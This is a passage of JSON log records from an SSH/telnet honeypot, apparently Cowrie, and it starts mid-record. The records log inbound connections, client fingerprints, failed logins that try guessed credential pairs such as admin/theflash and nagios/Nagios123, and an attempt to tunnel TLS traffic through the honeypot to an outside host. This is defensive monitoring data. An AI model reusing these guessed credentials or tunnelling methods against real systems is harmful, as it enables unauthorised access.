b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03&\\xa4F\\xbe\\xf8C\\x88\\xef0\\x01\\xe90@vH\\x05f\\xd0#\\xeb\\xbe\\xe5\\x0c\\xa4\\x01X\\xa8\\x94\\xfbC\\xedR s\\x1be\\xf9\\x12\\xc5/\\x85\\xf7(\\x06\\xc3CO\\x1cetY\\xf7\\xb2r\\x98g\\xcf\\xb4\\x01\\x85\\xa3\\xd4Q\\xe7\\x15\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb0\\xfb0Q>L\\x8e\\xb4?\\x9e.!\\x1arSf\\xb3\\xcf2\\xeb\\x11\\xa1@\\xfa\\xccDNs\\x14\\x1f@Y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:59.410325Z","src_ip":"123.27.168.40","session":"a4d7f88d81dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59684,"dst_ip":"159.203.135.109","dst_port":23,"session":"3068d7336d17","protocol":"telnet","message":"New connection: 172.81.62.90:59684 (159.203.135.109:23) [session: 3068d7336d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:59.544993Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:59.860655Z","session":"a4d7f88d81dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sfserver","password":"123456","message":"login attempt [sfserver/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:59.978291Z","src_ip":"91.92.40.36","session":"520addc6d6f7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:00.090919Z","src_ip":"123.27.168.40","session":"a4d7f88d81dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03y]\\x01$\\xa5\\x19`\\xd5\\xe2\\xec\\xc9@\\xfa\\x03`\\x8c9i\\xe5\\xb5\\xfc\\t\\x00f\\xb7\\x7f\\xbe\\xe6\\xc3\\\\\\xfa\\xa1 \\xdd\\xb5\\xd4s\\xb3\\xb0\\xd3\\xfb\\xbe\\xa6j#Ieo\\t\\xb7DTw[\\xd4s\\x95=\\xff\\xf9/\\x81J\\xd5-\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x11\\x0bK\\x1a\\xa5*\\xa49!\\xc1H\\x08\\xf2\\xa9\\x93\\x08\\x15a7\\xc7\\x88N,\\xbe\\x0b-Y\\xd69LXh\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03y]\\x01$\\xa5\\x19`\\xd5\\xe2\\xec\\xc9@\\xfa\\x03`\\x8c9i\\xe5\\xb5\\xfc\\t\\x00f\\xb7\\x7f\\xbe\\xe6\\xc3\\\\\\xfa\\xa1 \\xdd\\xb5\\xd4s\\xb3\\xb0\\xd3\\xfb\\xbe\\xa6j#Ieo\\t\\xb7DTw[\\xd4s\\x95=\\xff\\xf9/\\x81J\\xd5-\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x11\\x0bK\\x1a\\xa5*\\xa49!\\xc1H\\x08\\xf2\\xa9\\x93\\x08\\x15a7\\xc7\\x88N,\\xbe\\x0b-Y\\xd69LXh\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:00.094182Z","src_ip":"123.27.168.40","session":"a4d7f88d81dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:00.444638Z","src_ip":"123.27.168.40","session":"a4d7f88d81dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:02.137085Z","src_ip":"91.92.40.36","session":"520addc6d6f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"Nagios123","message":"login attempt [nagios/Nagios123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:04.348762Z","src_ip":"91.92.40.36","session":"071a99ac2fbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47374,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f53ae038e32","protocol":"ssh","message":"New connection: 91.92.40.36:47374 (159.203.135.109:22) [session: 8f53ae038e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:05.984704Z"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:06.694599Z","src_ip":"91.92.40.36","session":"071a99ac2fbf","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:07.208872Z","src_ip":"91.92.40.36","session":"8f53ae038e32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:07.212335Z","src_ip":"91.92.40.36","session":"8f53ae038e32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47420,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cfa94659bc8","protocol":"ssh","message":"New connection: 91.92.40.36:47420 (159.203.135.109:22) [session: 7cfa94659bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:12.394628Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"theflash","message":"login attempt [admin/theflash] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:14.278404Z","src_ip":"91.92.40.36","session":"8f53ae038e32","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:14.561887Z","src_ip":"91.92.40.36","session":"7cfa94659bc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:14.567127Z","src_ip":"91.92.40.36","session":"7cfa94659bc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:17.151863Z","src_ip":"91.92.40.36","session":"8f53ae038e32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":21128,"dst_ip":"159.203.135.109","dst_port":22,"session":"afcdc5a018fa","protocol":"ssh","message":"New connection: 91.92.40.36:21128 (159.203.135.109:22) [session: afcdc5a018fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:22.113992Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"snoopdogg","message":"login attempt [admin/snoopdogg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:22.299558Z","src_ip":"91.92.40.36","session":"7cfa94659bc8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:23.213532Z","src_ip":"91.92.40.36","session":"afcdc5a018fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:23.227142Z","src_ip":"91.92.40.36","session":"afcdc5a018fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":48774,"dst_ip":"159.203.135.109","dst_port":22,"session":"316904756ad7","protocol":"ssh","message":"New connection: 182.93.50.90:48774 (159.203.135.109:22) [session: 316904756ad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:23.436203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:23.440308Z","src_ip":"182.93.50.90","session":"316904756ad7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:23.764972Z","src_ip":"182.93.50.90","session":"316904756ad7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:24.034194Z","src_ip":"182.93.50.90","session":"316904756ad7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:25.648389Z","src_ip":"91.92.40.36","session":"7cfa94659bc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"matthieu","password":"matthieu","message":"login attempt [matthieu/matthieu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:28.115229Z","src_ip":"91.92.40.36","session":"afcdc5a018fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:30.174394Z","src_ip":"91.92.40.36","session":"afcdc5a018fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46272,"dst_ip":"159.203.135.109","dst_port":22,"session":"b104c0c1992d","protocol":"ssh","message":"New connection: 91.92.40.36:46272 (159.203.135.109:22) [session: b104c0c1992d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:30.297743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:04:31.096322Z","src_ip":"91.92.40.36","session":"b104c0c1992d","protocol":"ssh"}
